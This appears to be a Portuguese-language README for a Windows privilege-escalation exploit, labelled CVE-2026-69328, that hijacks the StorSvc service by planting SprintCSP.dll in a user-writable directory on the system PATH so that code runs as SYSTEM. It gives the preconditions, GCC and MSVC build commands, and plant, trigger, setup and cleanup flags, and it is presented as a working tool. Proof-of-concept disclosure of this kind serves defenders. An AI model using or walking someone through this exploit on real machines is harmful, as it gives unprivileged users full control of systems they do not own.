
Exploit de escalonamento de privilégios no Windows que planta SprintCSP.dll em um diretório HKLM PATH gravável pelo usuário para sequestrar o StorSvc e executar como SYSTEM.
StorSvc carrega SprintCSP.dll por nome relativo como SYSTEM. Plante-o em um diretório HKLM PATH gravável pelo usuário e obtenha SYSTEM.
Requer um diretório gravável pelo usuário em HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Environment\Path.
Nenhum em uma imagem limpa. Instaladores de ferramentas os adicionam (%USERPROFILE%\.cargo\bin, .local\bin, Python Scripts). Se a máquina não tiver nenhum, CVE-2026-69328.exe --setup cria um, o que exige um prompt de administrador único. O exploit em si nunca precisa de admin.
GCC:
gcc payload.c -shared -o SprintCSP.dll
gcc CVE-2026-69328.c -lrpcrt4 -ladvapi32 -lshell32 -o CVE-2026-69328.exe
MSVC:
cl /LD payload.c /Fe:SprintCSP.dll
cl CVE-2026-69328.c rpcrt4.lib advapi32.lib shell32.lib /Fe:CVE-2026-69328.exe
CVE-2026-69328.exe plant, trigger, read proof
CVE-2026-69328.exe --cleanup remove proof file + planted DLL
A prova é gravada em C:\Windows\System32\CVE-2026-69328.txt.
O StorSvc trava após o carregamento e o SCM o reinicia após ~120s.